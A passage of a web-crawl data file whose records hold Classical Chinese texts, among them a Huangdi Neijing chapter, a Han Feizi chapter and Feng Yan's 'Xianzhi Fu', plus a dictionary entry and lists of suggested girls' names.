姻緣喜愛的名字,喜愛的話可以分享給摯友哦!","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/myself8.com\/%E7%94%9F%E8%BE%B0%E6%9F%A5%E7%9C%8B%E5%85%AB%E5%AD%97%E5%85%AB%E5%AD%97%E9%BD%8A%E5%A7%93%E5%A5%B3%E5%AD%A9%E5%90%8D%E5%AD%97%E5%A4%A7%E5%85%A8%E9%BD%8A%E5%A7%93%E5%A5%B3%E5%AD%A9%E5%90%8D%E5%AD%97\/","date":"2024-04-15T15:47:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817002.2\/warc\/CC-MAIN-20240415142720-20240415172720-00724.warc.gz","language":"lzh","language_score":0.9358462691,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.9358462691307068, \"nan_Hani_score\": 0.05928422510623932}","num_words":114,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.026,"flagged_words_ratio":0.0,"lang_id_score":0.951,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1.用《易》卦名入句写成的诗。如南朝梁简文帝《卦名诗》\"栉比园花满,径复水流新……莲舟虽未济,分密已同人\"即是。其中\"比\"\"复\"\"未济\"\"同人\"皆《易》卦名。\n卦候 卦兆 卦卖 卦变 卦姑 卦婆子 卦影 卦文 卦气 卦爻 卦理 卦筮 卦者 卦肆 卦象 卦资 卦辞 卦铺 卦限 名下 名下士 名下无虚 名下无虚士 名不副实 名不常存 名不徒显 名不正则言不顺 名不正,言不顺 名不符实 名不虚传 名不虚得 名不虚立 名不虚行 名世 名业 名义 名义工资 名义账户 名书 诗丐 诗业 诗中有画 诗中有画,画中有诗 诗丸 诗主 诗义 诗乐 诗乘 诗乡 诗书 诗书发冢 诗书礼乐 诗云子曰 诗人 诗人玉屑 诗什 诗仙 诗以言志 诗以道志","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/cidian.xpcha.com\/af6g577h1ny.html","date":"2017-04-26T07:58:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121216.64\/warc\/CC-MAIN-20170423031201-00564-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.5700544715,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5700544714927673, \"cmn_Hani_score\": 0.18652573227882385, \"yue_Hani_score\": 0.13129325211048126, \"nan_Hani_score\": 0.08860820531845093, \"wuu_Hani_score\": 0.01584278605878353}","num_words":60,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.28,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.592,"perplexity_score":500.0,"cluster_detection":1} +{"text":"素問・76示従容論\n黄帝燕坐。召雷公而問之曰、汝受術誦書者、若能覧観雑学、及於比類、通合道理。為余言子所長。五蔵六府、胆胃大小腸脾胞膀胱、脳髄涕唾、哭泣悲哀、水所従行、此皆人之所生、治之過失。子務明之、可以十全。即不能知、為世所怨。雷公曰、臣請誦脈経上下篇甚衆多矣。別異比類、猶未能以十全。又安足以明之。\n帝曰、子別試通五蔵之過、六府之所不和、鍼石之敗、毒薬所宜、湯液滋味、具言其状、悉言以対、請問不知。雷公曰、肝虚腎虚脾虚、皆令人体重煩寃。当投毒薬刺灸、砭石湯液、或已或不已。、願聞其解。帝曰、公何年之長而問之少。余真問以自謬也。吾問子窈冥、子言上下篇以対、何也。夫脾虚浮似肺、腎小浮似脾、肝急沈散似腎。此皆工之所時乱也。然従容得之。若夫三蔵土木水参居、此童子之所知。問之何也。雷公曰、於此有人。頭痛筋攣骨重、怯然少気、噦噫腹満、時驚、不嗜臥。此何蔵之発也。脈浮而弦、切之石堅、不知其解。復問所以三蔵者、以知其比類也。帝曰、夫従容之謂也。夫年長則求之於府、年少則求之於経、年壮則求之於蔵。今子所言皆失。八風菀熟、五蔵消爍、伝邪相受。夫浮而弦者、是腎不足也。沈而石者、是腎気内著也。怯然少気者、是水道不行、形気消索也。咳嗽煩寃者、是腎気之逆也。一人之気、病在一蔵也。若言三蔵倶行、不在法也。\n雷公曰、於此有人。四支解墮、喘咳血泄。而愚診之、以為傷肺。切脈浮大而緊。愚不敢治。粗工下砭石、病愈多出血、血止身軽。此何物也。帝曰、子所能治、知亦衆多、与此病失矣。譬以鴻飛、亦沖於天。夫聖人之治病、循法守度、援物比類、化之冥冥、循上及下。何必守経。今夫脈浮大虚者、是脾気之外絶、去胃外帰陽明也。夫二火不勝三水。是以脈乱而無常也。四支解墯、此脾精之不行也。喘咳者、是水気并陽明也。血泄者、脈急血無所行也。若夫以為傷肺者、由失以狂也。不引比類、是知不明也。夫傷肺者、脾気不守、胃気不清、経気不為使。真蔵壊決、経脈傍絶、五蔵漏泄、不衄則嘔、此二者不相類也。譬如天之無形、地之無理、白与黒、相去遠矣。是失吾過矣。以子知之故、不告子。明引比類従容。是以名曰診軽。是謂至道也。","id":"","dump":"CC-MAIN-2017-47","url":"http:\/\/www.yakuzenjoho.net\/data\/somon\/76jijuyouron.html","date":"2017-11-18T02:50:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-47\/segments\/1510934804518.38\/warc\/CC-MAIN-20171118021803-20171118041803-00773.warc.gz","language":"lzh","language_score":0.6075761318,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6075761318206787, \"cmn_Hani_score\": 0.11010728776454926, \"nan_Hani_score\": 0.05883633717894554, \"jpn_Jpan_score\": 0.03511427342891693, \"zxx_Latn_score\": 0.029990093782544136, \"wuu_Hani_score\": 0.01730404980480671}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.18,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.608,"perplexity_score":500.0,"cluster_detection":1} +{"text":"姦劫弑臣第十四\n凡姦臣皆欲順人主之心以取信幸之勢者也。是以主有所善, 臣從而譽之; 主有所憎, 臣因而毁之。凡人之大體, 取舍同者則相是也, 取舍異者則相非也。今人臣之所譽者, 人主之所是也, 此之謂同取; 人臣之所毁者, 人主之所非也, 此之謂同舍。夫取舍合而相與逆者, 未嘗聞也。此人臣之所以取信幸之道也。夫姦臣得乘信幸之勢, 以毁譽進退群臣者, 人主非有術數以御之也, 非參驗以審之也, 必將以曩之合已。信今之言, 此幸臣之所以得欺主成私者也。故主必蔽於上, 而臣必重於下矣, 此之謂擅主之臣。\n國有擅主之臣, 則群下不得盡其智力以陳其忠, 百官之吏不得奉法以致其功矣。何以明之? 夫安利者就之, 危害者去之, 此人之情也。今爲臣盡力以致功, 竭智以陳忠者, 其身困而家貧, 父子罹其害; 爲姦利以弊人主, 行財貨以事貴重之臣者, 身尊家富, 父子被其澤; 人焉能去安利之道而就危害之處哉? 治國若此其過也, 而上欲下之無姦, 吏之奉法, 其不可得亦明矣。故左右知貞信之不可以得安利也, 必曰: \"我以忠信事上, 積功勞而求安, 是猶盲而欲知黑白之情, 必不幾矣, 若以道化行正理, 不趨富貴, 事上而求安, 是猶聾而欲審淸濁之聲也, 愈不幾矣。二者不可以得安, 我安能無相比周·蔽主上·爲姦私以適重人哉? \" 此必不顧人主之義矣。其百官之吏亦知方正之不可以得安也, 必曰: \"我以淸廉事上而求安, 若無規矩而欲爲方圓也, 必不幾矣; 若以守法不朋黨治官而求安, 是猶以足搔頂也, 愈不幾也。二者不可以得安, 能無廢法行私以適重人哉? \" 此必不顧君上之法矣。故以私爲重人者衆, 而以法事君者少矣。是以主孤於上而臣成黨於下, 此田成之所以弑簡公者也。\n夫有術者之爲人臣也, 得效度數之言, 上明主法, 下困姦臣, 以尊主安國者也。是以度數之言得效於前, 則賞罰必用於後矣。人主誠明於聖人之術, 而不苟於世俗之言, 循名實而定是非, 因參驗而審言辭。是以左右近習之臣, 知僞詐之, 不可以得安也, 必曰: \"我不去姦私之行, 盡力竭智以事主, 而乃以相與比周妄毁譽以求安, 是猶負千鈞之重, 陷於不測之淵而求生也, 必不幾矣。\" 百官之吏亦知爲姦利之不可以得安也, 必曰: \"我不以淸廉方正奉法, 乃以貧汚之心枉法以取私利, 是猶上高陵之顚墮峻谿之下而求生, 必不幾矣。\" 安危之道, 若此其明也, 左右安能以虛言惑主, 而百官安敢以貪漁下? 是以臣得陳其忠而不弊, 下得守其職而不怨, 此管仲之所以治齊, 而商君之所以强秦也。\n從是觀之, 則聖人之治國也, 固有使人不得不愛我之道, 而不恃人之以愛爲我也。恃人之以愛爲我者危矣, 恃吾不可不爲者安矣。夫君臣非有骨肉之親, 正直之道可以得利, 則臣盡力以事主; 正直之道, 不可以得安, 則臣行私以干上。明主知之, 故設利害之道, 以示天下而已矣。夫是以人主雖不口敎百官, 不目索姦, 而國已治矣。人主者, 非目若離婁乃爲明也, 非耳若師曠乃爲聰也。不任其數, 而待目以爲明, 所見者少矣, 非不弊之術也。不因其勢, 而待耳以爲聰, 所聞者寡矣, 非不欺之道也。明主者, 使天下不得不爲已視, 使天下不得不爲己聽。故身在深宮之中而明照四海之內, 而天下弗能蔽弗能欺者, 何也? 闇亂之道, 廢而聰明之勢興也。故善任勢者國安, 不知因其勢者國危。古秦之俗, 君臣廢法而服私, 是以國亂兵弱而主卑。商君說秦孝公以變法易俗, 而明公道, 賞告姦·困末作而利本事。當此之時, 秦民習故俗之有罪可以得免, 無功可以得尊顯也, 故輕犯新法。於是犯之者其誅重而必, 告之者其賞厚而信, 故姦莫不得而被刑者衆, 民疾怨而衆過日聞。孝公不聽, 遂行商君之法。民後知有罪之必誅, 而私姦者衆也, 故民莫犯, 其刑無所加。是以國治而兵强, 地廣而主尊。此其所以然者, 匿罪之罰重, 而告姦之賞厚也。此亦使天下必爲已視聽之道也。至治之法術已明矣, 而世學者弗知也。\n且夫世之愚學, 皆不知治亂之情, 讘䛟多誦先古之書, 以亂當世之治; 智慮不足以避穽井之陷, 又妄非有術之士。聽其言者危, 用其計者亂, 此亦愚之至大而患之至甚者也。俱與有術之士有談說之名, 而實相去千萬也, 此夫名同而實有異者也。夫世愚學之人, 比有術之士也, 猶螘垤之比大陵也, 其相去遠矣。而聖人者, 審於是非之實, 察於治亂之情也。故其治國也, 正明法, 陳嚴刑, 將以救群生之亂, 去天下之禍, 使强不陵弱, 衆不暴寡, 耆老得遂, 幼孤得長, 邊境不侵, 君臣相親, 父子相保, 而無死亡係虜之患, 此亦功之至厚者也!愚人不知, 顧以爲暴。愚者固欲治而惡其所以治, 皆惡危而喜其所以危者。何以知之? 夫嚴刑重罰者, 民之所惡也。而國之所以治也; 哀憐百姓輕刑罰者, 民之所喜, 而國之所以危也。聖人爲法國者, 必逆於世, 而順於道德。知之者, 同於義而異於俗; 弗知之者, 異於義而同於俗。天下知之者少, 則義非矣。\n處非道之位, 被衆口之譖, 溺於當世之言, 而欲當嚴天子而求安, 幾不亦難哉, 此夫智士所以至死而不顯於世者也。楚莊王之弟春申君。有愛妾曰余, 春申君之正妻子曰甲。余欲君之棄其妻也, 因自傷其身以視君而泣, 曰: \"得爲君之妾, 甚幸。雖然, 適夫人非所以事君也, 適君非所以事夫人也。身故不肖, 力不足以適二主, 其勢不俱適, 與其死夫人所者, 不若賜死君前。妾以賜死, 若復幸於左右, 願君必察之, 無爲人笑。\" 君因信妾余之詐, 爲棄正妻。余又欲殺甲, 而以其子爲後, 因自裂其親身衣之裏, 以示君而泣, 曰: \"余之得幸君之日久矣, 甲非弗知也, 今乃欲强戱余。余與爭之, 至裂余之衣, 而此子之不孝, 莫大於此矣。\" 君怒, 而殺甲也。故妻以妾余之詐棄, 而子以之死。從是觀之, 父子愛子也, 猶可以毁而害也。君臣之相與也, 非有父子之親也, 而群臣之毁言, 非特一妾之口也, 何怪夫賢聖之戮死哉! 此商君之所以車裂於秦, 而吳起之所以枝解於楚者也。凡人臣者, 有罪固不欲誅, 無功者皆欲尊顯。而聖人之治國也, 賞不加於無功, 而誅必行於有罪者也。然則有術數者之爲人也, 固左右姦臣之所害, 非明主弗能聽也。\n世之學者說人主, 不曰\"乘威嚴之勢, 以困姦之臣\", 而皆曰\"仁義惠愛而已矣\" 。世主美仁義之名而不察其實, 是以大者國亡身死, 小者地削主卑。何以明之? 夫施與貧困者, 此世之所謂仁義; 哀憐百姓, 不忍誅罰者, 此世之所謂惠愛也。夫有施與貧困, 則無功者得賞; 不妨誅罰, 則暴亂者不止。國有無功得賞者, 則民不外務當敵斬首, 內不急力田疾作, 皆欲行貨財, 事富貴爲私善立名譽, 以取尊官厚俸。故姦私之臣愈衆, 而暴亂之徒愈勝, 不亡何待? 夫嚴刑者, 民之所畏也; 重罰者, 民之所惡也。故聖人陳其所畏, 以禁其衺, 設其所惡, 以防其姦, 是以國安而暴亂不起。吾以是明仁義愛惠之不足用, 而嚴刑重罰之可以治國也。無捶策之威, 銜橛之備, 雖造父不能以服馬; 無規矩之法, 繩墨之端, 雖王爾不能以成方圓; 無威嚴之勢, 賞罰之法, 雖堯舜不能以爲治。今世主皆輕釋重罰嚴誅, 行愛惠, 而欲霸王之功, 亦不可幾也。故善爲主者, 明賞設利以勸之, 使民以功賞而不以仁義賜; 嚴刑重罰以禁之, 使民以罪誅而不以愛惠免。是以無功者不望, 而有罪者不幸矣。託於犀車良馬之上, 則可以陸犯阪阻之患; 乘舟之安, 持檝之利, 則可以水絶江河之難; 操法術之數, 行重罰嚴誅, 則可以致霸王之功。治國之有法術賞罰, 猶若陸行之有犀車良馬也, 水行之有輕舟便檝也, 乘之者遂得其成。伊尹得之, 湯以王; 管仲得之, 齊以霸; 商君得之, 秦以强。此三人者, 皆明於霸王之術, 察於治强之數, 而不以牽於世俗之言; 適當世明主之意, 則有直任布衣之士, 立爲卿相之處; 處位治國, 則有尊主廣地之實: 此之謂足貴之臣。湯得伊尹, 以百里之地, 立爲天子; 桓公得管仲, 立爲五霸主, 九合諸侯, 一匡天下; 孝公得商君, 地以廣, 兵以强。故有忠臣者, 外無敵國之患, 內無亂臣之憂, 長安於天下, 而名垂後世, 所謂忠臣也。若夫豫讓爲智伯臣也, 上不能說人主, 使之明法術度藪之理, 以避禍難之患, 下不能領御其衆, 以安其國。及襄子之殺智伯也, 豫讓乃自黔劓, 敗其形容, 以爲智伯報襄子之讐。是雖有殘刑殺身以爲人主之名, 而實無益於智伯, 若秋毫之末。此吾之所下也, 而世主以爲忠而高之。古有伯夷叔齊者, 武王讓以天下而弗受, 二人餓死首陽之陵。若此臣者, 不畏重誅, 不利重賞, 不可以罰禁也, 不可以賞使也, 此之謂無益之臣也。吾所少而去也, 而世主之所多而求也。\n諺曰: \"厲憐王。\" 此不恭之言也。雖然, 古無虛諺, 不可不察也。此謂劫殺死亡之主言也。人主無法術以御其臣, 雖長年而美材, 大臣猶將得勢擅事主斷, 而各爲其私急。而恐父兄豪傑之士, 借人主之力, 以禁誅於己也。故弑賢長而立幼弱, 廢正的而立不義。故《春秋》記之曰: \"楚王子圍將聘於鄭, 未出境, 聞王病而反。因入問病, 以其冠纓絞王而殺之, 遂自立也。齊崔杼其妻美, 而莊公通之, 數如崔氏之室。及公往, 崔子之徒, 賈擧率崔子之徒而攻公。公入室, 請與之分國, 崔子不許; 公請自刃於廟, 崔子又不聽; 公乃走, 踰於北牆。賈擧射公, 中其股, 公墜, 崔子之徒以戈斫公而死之, 而立其弟景公。\" 近之所見: 李兌之用趙也, 餓主父百日而死, 卓齒之用齊也, 擢王之筋, 懸之廟梁, 宿昔而死。故厲雖*옹腫疕瘍, 上比於《春秋》, 未至於絞頸射股也; 下比於近世, 未至餓死擢筋也。故劫殺死亡之君, 此其心之憂懼, 形之苦痛也, 必甚於厲矣。由此觀之, 雖\"厲憐王\" 可也。","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/rexhistoria.net\/oriental_Eastern\/105957","date":"2018-10-21T14:11:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583514030.89\/warc\/CC-MAIN-20181021140037-20181021161537-00416.warc.gz","language":"lzh","language_score":0.5462645292,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5462645292282104, \"cmn_Hani_score\": 0.3612860441207886, \"jpn_Jpan_score\": 0.08089358359575272}","num_words":380,"character_repetition_ratio":0.009,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.594,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(中华辞赋家联合会主席 潘承祥 校订)\n○顯志賦(又自論)\n馮子以為夫人之德,不碌碌如玉,落落如石。風興雲蒸,一龍一蛇,與道翱翔,與時變化,夫豈守一節哉?用之則行,舍之則臧,進退無主,屈申無常。故曰:\"有法無法,因時為業,有度無度,與物趣舍。\"常務道德之實,而不求當世之名,闊略杪小之禮,蕩佚人間之事。正身直行,恬然肆志。顧嘗好俶儻之策,時莫能聽用其謀,喟然長嘆,自傷不遭。久棲遲於小官,不得舒其所懷。抑心折節,意悽情悲。夫伐冰之家,不利鷄豚之息;委積之臣,不操市井之利。况歷位食祿二十餘年,而財產益狹,居處益貧。惟夫君子之仕,行其道也。慮時務者不能興其德,為身求者不能成其功。去而歸家,復羈旅於州郡,身愈據職,家彌窮困,卒離飢寒之災,有喪元子之禍。先將軍葬渭陵,哀帝之崩也,營之以為園。於是以新豐之東,鴻門之上,壽安之中,地埶高敞,四通廣大。南望酈山,北屬涇渭,東瞰河華、龍門之陽,三晉之路,西顧鄷鄗、周秦之丘,客觀之墟,通視千里,覽見舊都,遂定塋焉。退而幽居,蓋忠臣過故墟而歔欷,孝子入舊室而哀嘆。每念祖考,著盛德於前,垂鴻烈於後。遭時之禍,墳墓蕪穢,春秋蒸嘗,昭穆無列。年衰歲暮,悼無成功,將西田牧肥饒之野,殖生產,修孝道,營宗廟,廣祭祀。然後闔門講習道德,觀覽乎孔老之論,庶幾乎松喬之福。上隴阪,陟高岡,游精宇宙,流目八紘。歷觀九州山川之體,追覽上古得失之風。愍道陵遲,傷德分崩。夫睹其終必原其始,故存其人而詠其道。疆理九野,經營五山,眇然有思陵雲之意。乃作賦自厲,命其篇曰《顯志》。顯志者,言光明風化之情,昭章玄妙之思也。其辭曰:\n開歲發春兮,百卉含英。甲子之朝兮,汩吾西征。發軔新豐兮,裴回鎬京。陵飛廉而太息兮,登平陽而懷傷。悲時俗之險阨兮,哀好惡之無常。棄衡石而意量兮,隨風波而飛揚。紛綸流於權利兮,親雷同而妒異;獨耿介而慕古兮,豈時人之所憙?沮先聖之成論兮,(上[左豸+右頁]+下心)名賢之高風,忽道德之珍麗兮,務富貴之樂耽。遵大路而裴回兮,履孔德之窈冥;固眾夫之所眩兮,孰能觀於無形?行勁直以離尤兮,羌前人之所有;內自省而不慙兮,遂定志而弗改。欣吾黨之唐虞兮,愍吾生之愁勤;聊發憤而揚情兮,將以蕩夫憂心。往者不可攀援兮,來者不可與期;病沒世之不稱兮,願橫逝而無由。\n陟雍畤而消搖兮,超略陽而不反。念人生之不再兮,悲六親之日遠。陟九嵕而臨(上山+下戔)兮,聽涇渭之波聲。顧鴻門而歔欷兮,哀吾孤之早零。何天命之不純兮,信吾罪之所生;傷誠善之無辜兮,齊此恨而入冥。嗟我思之不遠兮,豈敗事之可悔?雖九死而不眠兮,恐余殃之有再。淚汍瀾而雨集兮,氣滂浡而雲披;心怫鬱而紆結兮,意沈抑而內悲。\n瞰太行之嵯峨兮,觀壺口之崢嶸;悼丘墓之蕪穢兮,恨昭穆之不榮。歲忽忽而日邁兮,壽冉冉其不與;恥功業之無成兮,赴原野而窮處。昔伊尹之干湯兮,七十說而乃信;皋陶釣於靁澤兮,賴虞舜而後親。無二士之遭遇兮,抱忠貞而莫達;率妻子而耕耘兮,委厥美而不伐。韓廬抑而不縱兮,騏驥絆而不試;獨慷慨而遠覽兮,非庸庸之所識。卑衛賜之阜貨兮,高顏回之所慕;重祖考之洪烈兮,故收功於此路。循四時之代謝兮,分五土之刑德;相林麓之所產兮,嘗水泉之所殖。修神農之本業兮,採軒轅之奇策;追周棄之遺教兮,軼范蠡之絕迹。陟隴山以隃望兮,眇然覽於八荒;風波飄其並興兮,情惆悵而增傷。覽河華之泱漭兮,望秦晉之故國。憤馮亭之不遂兮,慍去疾之遭惑。\n流山岳而周覽兮,徇碣石與洞庭;浮江河而入海兮,泝淮濟而上征。瞻燕齊之舊居兮,歷宋楚之名都;哀羣後之不祀兮,痛列國之為墟。馳中夏而升降兮,路紆軫而多艱;講聖哲之通論兮,心愊憶而紛紜。惟天路之同軌兮,或帝王之異政;堯舜煥其蕩蕩兮,禹承平而革命。并日夜而幽思兮,終悇憛而洞疑;高陽(上[左豸+右頁]+下心)其超遠兮,世孰可以論兹?訊夏啓於甘澤兮,傷帝典之始傾;頌成康之載德兮,詠《南風》之歌聲。思唐虞之晏晏兮,揖稷、契與為朋;苗裔紛其條暢兮,至湯武而勃興。昔三后之純粹兮,每季世而窮禍;弔夏桀於南巢兮,哭殷紂於牧野。詔伊尹於亳郊兮,享呂望於鄷州,功與日月齊光兮,名與三王爭流。\n楊朱號乎衢路兮,墨子泣乎白絲;知漸染之易性兮,怨造作之弗思。美《關雎》之識微兮,愍王道之將崩;拔周唐之盛德兮,捃桓文之譎功。忿戰國之遘禍兮,憎權臣之擅彊;黜楚子於南郢兮,執趙武於溴梁。善忠信之救時兮,惡詐謀之妄作;聘申叔於陳、蔡兮,禽荀息於虞、虢。誅犁鋤之介聖兮,討臧倉之愬知;(左女+右巽)子反於彭城兮,爵管仲於夷儀。疾兵革之寖滋兮,苦攻伐之萌生,沈孫武於五湖兮,斬白起於長平。惡叢巧之亂世兮,毒縱橫之敗俗;流蘇秦於洹水兮,幽張儀於鬼谷。澄德化之陵遲兮,烈刑罰之峭峻;燔商鞅之法術兮,燒韓非之說論。誚始皇之跋扈兮,投李斯於四裔;滅先王之法則兮,禍寖淫而弘大。援前聖以制中兮,矯二主之驕奢;饁女齊於絳臺兮,饗椒舉於章華。摛道德之光耀兮,匡衰世之眇風;裦宋襄於泓谷兮,表季札於延陵。摭仁智之英華兮,激亂國之末流。觀鄭僑於溱洧兮,訪晏嬰於營丘。日曀曀其將暮兮,獨於邑而煩惑;夫何九州之博大兮,迷不知路之南北。駟素虯而馳騁兮,乘翠雲而相佯。就伯夷而折中兮,得務光而愈明。欸子高於中野兮,遇伯成而定慮;欽真人之德美兮,淹躊躇而弗去。意斟愖而不澹兮,俟回風而容與;求善卷之所存兮,遇許由於負黍。軔吾車於箕陽兮,秣吾馬於潁滸。聞至言而曉領兮,還吾反乎故宇。\n覽天地之幽奥兮,統萬物之維綱。究陰陽之變化兮,昭五德之精光。躍青龍於滄海兮,豢白虎於金山。鑿巖石而為室兮,託高陽以養仙。神雀翔於鴻崖兮,玄武潛於嬰冥。伏朱樓而四望兮,采三秀之華英。篡前修之夸節兮,曜往昔之光勳,披綺季之麗服兮,揚屈原之靈芬。高吾冠之岌岌兮,長吾佩之洋洋;飲六醴之清液兮,食五芝之茂英。\n揵六枳而為籬兮,築蕙若而為室;播蘭芷於中庭兮,列杜衡於外術。攢射干雜蘼蕪兮,搆木蘭與新夷;光扈扈而煬燿兮,紛郁郁而暢美;華芳曄其發越兮,時恍忽而莫貴;非惜身之埳軻兮,憐眾美之憔悴。游精神於大宅兮,抗玄妙之常操;處清靜以養志兮,實吾心之所樂。山峨峨而造天兮,林冥冥而暢茂;巒回翔索其羣兮,鹿哀鳴而求其友。誦古今以散思兮,覽聖賢以自鎮。嘉孔丘之知命兮,大老聃之貴玄。德與道其孰寳兮,名與身其孰親。陂山谷而閒處兮,守寂寞而存神。夫莊周之釣魚兮,辭卿相之顯位。於陵子之灌園兮,似至人之髣髴。蓋隱約而得道兮,羌窮悟而入術;離塵垢之窈冥兮,配喬、松之妙節。惟吾志之所庶兮,固與俗其不同。既俶儻而高引兮,願觀其從容。\n楊節賦序·東漢·馮衍\n馮子耕於驪山之阿,渭水之陰。廢弔問之禮,絕游宦之路。眇然有超物之心,無偶俗之志。\n◆辑者简叙\n当今\"辞赋热\"掀起者赋帝其人简介:(赋帝名片)\n①中赋0-20号平台 赋帝骈尊古也司马呈祥潘氏 总编审\n②中国兴赋第一人 赋坛领袖 弘骈先驱 元勋辞赋文化推广家\n③千城赋 千校赋 千山赋 万水赋 百阁百楼赋 总设计师 兼 执行官\n④中国新赋运动第一发起人 中华辞赋家联合会主席 兼 中华赋学院院长\n⑤辞赋文化出版商 网络辞赋首席编辑师 中华辞赋(第一)网及其20网组建者\n⑥《赋苑琼葩》《千城赋》《中华新辞赋选粹》《中华辞赋报》总纂官 兼 主编\n⑦第一辞赋收藏家 中华辞赋最大文库集大成者 辞赋骈文资源大规模系统化整理者\n⑧当今\"辞赋热\"掀起者 总策动师 当代中华辞赋复兴与繁荣的导启者 开拓者 建树者\n⑨中国著名辞赋家创作集团 团长 兼 总指挥 当代主流辞赋家群体 精英代表 卓越领导人\n⑩著名辞赋家 骈文家 古文家 学者 河南理工大学文学与传媒学院教授 赋帝骈尊古也潘承祥\n◆联系方式\n邮箱:email@example.com QQ1:513067048 QQ2:1613619349 QQ3:364235722\n手机:13485881066 群QQ1:113153464 群QQ2:229600133 群QQ3:241496416","id":"","dump":"CC-MAIN-2018-51","url":"http:\/\/www.zhcfw.net\/index.asp?xAction=xReadNews&NewsID=26746","date":"2018-12-17T10:20:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376828501.85\/warc\/CC-MAIN-20181217091227-20181217113227-00217.warc.gz","language":"lzh","language_score":0.4250665903,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.42506659030914307, \"cmn_Hani_score\": 0.17006029188632965, \"zxx_Latn_score\": 0.07902597635984421, \"nan_Hani_score\": 0.06826068460941315, \"und_Tang_score\": 0.026211926713585854, \"yue_Hani_score\": 0.017787586897611618, \"wuu_Hani_score\": 0.015373311936855316, \"jpn_Jpan_score\": 0.014975328929722309, \"und_Xsux_score\": 0.01460084319114685, \"und_Yiii_score\": 0.01238134503364563}","num_words":71,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.185,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.306,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n席忻妍 席乐妍 席菊丽 席梓悦 席夏洁 席宇萍 席雨婷 席敏洁 席首文 席瑾娜 席修文 席春玲 席可悦 席改玲 席爱玲 席春英 席菊霞 席瑶遥 席小瑛 席东花 席媛洋 席建媛 席碗玉 席冉萍 席冉冉 席默冉 席冉 席琳韵 席雪娟 席雨娟 席婉嫣 席如嫣 席宁文 席江红 席雪嫣 席雪 席悦佳 席佳悦 席海娅 席二娅 席聘莹 席娅娅 席萍遥 席萍瑶 席嫣然 席艾妍 席婉妍 席楚妍 席桂英 席变瑶 席悦菁 席曼洁 席悦茗 席妙娟 席慧玲 席瑶渊 席瑶渐 席慕琳 席瑶耘 席瑶洳 席瑶漫 席瑶琬 席瑶淇 席瑶云 席瑶凌 席瑶霖 席瑶凝 席瑶蒙 席瑶沁 席瑶雨 席瑶希 席瑶含 席瑶帆 席瑶冰 席冰瑶 席含瑶 席露瑶 席瑶林 席瑶心 席珉瑶 席瑶珉 席瑶涵 席瑶清 席瑶淋 席瑶惠 席沁茹 席慕茹 席璇瑶 席泫瑶 席漩瑶 席汝瑶 席洳瑶 席涵瑶 席靖妍 席慕雪 席美琴 席枫妍 席黛琳 席琳蕴 席琳琅 席淮颖 席娉莹 席瑞雪 席玉玲 席安娜 席争艳 席培婷 席洁红 席旭霞 席渝丽 席巧玉 席辉红 席晓萍 席娴玲 席云琳 席燕萍 席红梅 席远玲 席时艳 席会娟 席悦津 席佳丽 席建文 席思怡 席秋怡 席佳嫣 席嫣芮 席嫣睿 席嘉嫣 席妍萌 席妍茹 席振蓉 席敬怡 席烁琼 席妍睿 席雅婷 席正芳 席萌悦 席化玉 席绛雪 席家文 席艳茹 席景芳 席风英 席七琳 席瑶珊 席嘉妍 席娅岚 席海芳 席悦淑 席珠玲 席邈文 席海文 席海玉 席邈裴 席鹤艳 席海琼 席邈艳 席邈颖 席晓琳 席莞茹 席梓莹 席尔文 席丽琼 席朝美 席妍姿 席玮芳 席燕霞 席彦霞 席婧宇 席君玲 席琪玉 席佳莹 席秀彤 席燕华 席艳玲 席悦容 席悦馨 席莛婷 席思婷 席诗婷 席春丽 席会颖 席昊冉 席守丽 席文艳 席丰霞 席嘉莹 席嘉颖 席嘉茹 席涵茹 席佳怡 席谨茹 席谨娅 席娅淇 席庆英 席永婷 席艳莉 席馨妍 席歆妍 席俐琳 席琳俐 席芸琳 席琳芸 席霖琳 席琳霖 席雪琳 席淼妍 席黛妍 席雨妍 席瑞嫣 席瑞妍 席雨嫣 席若文 席云玲 席瑞霞 席勇芳 席潘文 席雯瑶 席玫瑶 席朦瑶 席蒙瑶 席霏瑶 席慕瑶 席慧瑶 席渲瑶 席云瑶 席惠瑶 席洇瑶 席妍瑶 席沫瑶 席沐瑶 席亚芳 席颜玉 席丽琴 席瀚瑶 席潞瑶 席红英 席晓婧 席小蓉 席婧洋 席亚萍 席素红 席建霞 席文婧 席开燕 席冬琴 席胜芳 席占瑛 席季萍 席睿芬 席睿妍 席可红 席婷然 席香娜 席紫琼 席晓英 席宝红 席旭冉 席会莉 席清文 席芬芝 席铜妹 席铜婵 席铜茹 席僮瑶 席同瑶 席宇娟 